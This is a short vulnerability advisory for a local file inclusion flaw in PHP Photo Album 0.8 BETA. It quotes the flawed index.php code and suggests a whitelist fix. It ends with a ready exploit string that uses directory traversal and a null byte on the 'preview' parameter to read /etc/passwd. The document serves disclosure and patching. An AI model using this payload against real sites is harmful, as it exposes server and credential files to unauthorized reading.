PHP Photo Album 0.8b Local File Inclusion

`[START]  
  
###################################################################################################################################  
[0x01] Informations:  
  
Script : Php Photo Album 0.8 BETA  
Download : http://sourceforge.net/project/downloading.php?group_id=151573&use_mirror=kent&filename=PHPPA_.9_BETA.zip&37834145  
Vulnerability : Local File Inclusion  
Author : Osirys  
Contact : osirys[at]live[dot]it  
Website : http://osirys.org  
Notes : Proud to be Italian  
  
  
###################################################################################################################################  
[0x02] Bug: [Local File Inclusion]  
######  
  
Bugged file is: /[path]/index.php  
  
[CODE]  
  
$skin_temp = $_GET['preview'];  
if(isset($_GET['preview']) && file_exists("./skin/$skin_temp/config.php")){  
$skin = $_GET['preview'];  
}  
else{  
$skin = vari("skin");  
}  
require("./skin/$skin/config.php");  
  
[/CODE]  
  
If 'preview' from GET is provided, we can include it just bypassing a stupid cheek.  
file_exists("./skin/$skin_temp/config.php) <-- this cheek is stupid, becouse when  
we set a value to $skin_temp , if we set a local file with a directory trasversal  
it's obvious that the file exists, so it will be included.  
  
[!] FIX: Use another filter instead of file_exists("./skin/$skin_temp/config.php)  
Just filter $skin_temp before include it. A fix could be to declare $skin  
with a standard or local value, or just put the allowed values in an array,  
and cheek then if the skin provided is allowed. See is_in_array() function  
  
  
[!] EXPLOIT: /[path]/index.php?preview=[local_file]%00  
../../../../../../../../../../../../etc/passwd%00  
  
###################################################################################################################################  
  
[/END]  
  
`